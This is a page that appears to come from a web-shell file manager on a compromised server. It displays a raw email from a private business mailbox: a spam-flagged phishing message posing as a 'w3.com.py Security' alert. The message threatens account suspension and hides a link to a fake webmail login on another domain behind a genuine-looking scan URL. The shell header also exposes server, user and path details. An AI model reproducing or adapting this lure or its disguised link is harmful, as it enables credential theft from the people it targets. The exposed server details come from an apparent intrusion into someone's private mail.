MOON
Server: Apache
System: Linux s5.yayogua.com.py 6.12.0-124.55.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:54:02 EDT 2026 x86_64
User: w3com (1005)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: /home/w3com/mail/.proveedores@w3_com_py/new/1694032017.H405898P4885.s3.yayogua.com.py,S=6921
Return-path: <ueaeuu@ossymailserver.com>
Envelope-to: proveedores@w3.com.py
Delivery-date: Wed, 06 Sep 2023 16:26:57 -0400
Received: from server.toweliholding.com ([185.236.231.173]:36732 helo=mail.toweliholding.com)
	by s3.yayogua.com.py with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)
	(Exim 4.87)
	(envelope-from <ueaeuu@ossymailserver.com>)
	id 1qdz71-0001Ek-1q
	for proveedores@w3.com.py; Wed, 06 Sep 2023 16:26:57 -0400
Received: from ossymailserver.com (unknown [194.49.69.191])
	(Authenticated sender: admin@toweliholding.com)
	by mail.toweliholding.com (Postfix) with ESMTPSA id 217D21A07E4
	for <proveedores@w3.com.py>; Wed,  6 Sep 2023 17:43:36 +0000 (UTC)
From: w3.com.py<waccaito@ossymailserver.com>
To: proveedores@w3.com.py
Date: 06 Sep 2023 13:43:36 -0400
Message-ID: <20230906134335.9D41840A6C705217@ossymailserver.com>
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=6.0
X-Spam-Score: 60
X-Spam-Bar: ++++++
X-Spam-Report: Spam detection software, running on the system "s3.yayogua.com.py",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 
 Content preview:  Security Alert!!! Dear proveedores@w3.com.py, Virus activities
    have been detected in your email account. [...] 
 
 Content analysis details:   (6.0 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
                             [score: 0.0001]
  0.0 HK_RANDOM_ENVFROM      Envelope sender username looks random
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: w3.com.py]
  2.5 RCVD_IN_MSPIKE_L3      RBL: Low reputation (-3)
                             [185.236.231.173 listed in bl.mailspike.net]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.9 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  1.9 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  0.0 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as "accounts
                             suspended", "account credited", "account
                             verification"
  0.0 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  0.0 RCVD_IN_MSPIKE_BL      Mailspike blocklisted
  2.5 TO_NO_BRKTS_FROM_MSSP  Multiple header formatting problems
  0.0 KHOP_HELO_FCRDNS       Relay HELO differs from its IP's reverse DNS
X-Spam-Flag: YES
Subject:  ***SPAM***  Security Alert:  Virus Activities Detected

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body style=3D"MARGIN: 0.5em">
<P><BR class=3DApple-interchange-newline>
<table style=3D"FONT-SIZE: small; FONT-FAMILY: &quot;Times New Roman&quot;;=
 WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT:=
 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETT=
ER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; f=
ont-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stro=
ke-width: 0px; text-decoration-thickness: initial; text-decoration-style: i=
nitial; text-decoration-color: initial" align=3D"center">
<TBODY>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px" width=3D"50"></TD>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px">
<table style=3D"BORDER-TOP: rgb(1,116,223) 1px solid; HEIGHT: 500px; BORDER=
-RIGHT: rgb(1,116,223) 1px solid; WIDTH: 768px; BORDER-BOTTOM: rgb(1,116,22=
3) 1px solid; BORDER-LEFT: rgb(1,116,223) 1px solid">
<TBODY>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px" height=3D"30"></TD></TR>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px">
<table style=3D"HEIGHT: 42px; WIDTH: 668px" width=3D"668" align=3D"center">=

<TBODY>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px"><FONT color=3D#0174df size=3D+2 face=3Dverdana>Security Aler=
t!!!</FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px" height=3D"15"></TD></TR>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px">
<table width=3D"670" align=3D"center">
<TBODY>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px"><FONT size=3D2 face=3Dverdana>
<P>Dear proveedores@w3.com.py,</P>
<P>Virus activities have been detected in your email account.</P>
<P>To protect your account safety,&nbsp;click the URL below to run a quick =
email scan.</P>
<P><FONT color=3D#0174df><B><A rel=3Dnoreferrer><BR></A></B></FONT></P>
<P><FONT color=3D#0174df><B><A style=3D"COLOR: rgb(17,85,204)" href=3D"http=
s://toweliholding.com/we/Webmail/index.php?email=3Dproveedores@w3.com.py" r=
el=3Dnoreferrer target=3D_blank data-saferedirecturl=3D"https://www.google.=
com/url?q=3Dhttp://luks-salon.ru/c/Wp-images/?i%3Di%260%3D%5B%5B-Email-%5D%=
5D&amp;source=3Dgmail&amp;ust=3D1694100715988000&amp;usg=3DAOvVaw1cOXCPv6lj=
QHKNqja5LgWc">http://w3.com.py/scan/proveedores@w3.com.py/settings/</A></B>=
</FONT></P>
<P><FONT color=3D#0174df><B><A rel=3Dnoreferrer><BR></A></B></FONT></P>
<P>If you ignore this notice, your account will be suspended to protect our=
 server.</P>
<P><STRONG><FONT color=3D#c40000>*Note</FONT><FONT color=3D#c40000>:</FONT>=
</STRONG><SPAN>&nbsp;</SPAN>This will serve as a final notification to this=
 threat.</P>
<P>Source:&nbsp;<FONT color=3D#0174df><STRONG><FONT color=3D#0066cc><FONT c=
olor=3D#0174df>w3.com.py<SPAN>&nbsp;</SPAN></FONT></FONT></STRONG><STRONG>S=
ecurity</STRONG></FONT></P></FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<td style=3D"FONT-FAMILY: Roboto, RobotoDraft, Helvetica, Arial, sans-serif=
; MARGIN: 0px" height=3D"30"></TD></TR></TBODY></TABLE><BR><FONT color=3D#0=
174df size=3D2 face=3Dverdana><FONT color=3D#c40000><STRONG>Safe Mail</STRO=
NG></FONT><FONT color=3D#c40000>:</FONT><SPAN>&nbsp;</SPAN>This email has b=
een checked for viruses by w3.com.py antivirus software.</FONT></TD></TR></=
TBODY></TABLE></P></BODY></HTML>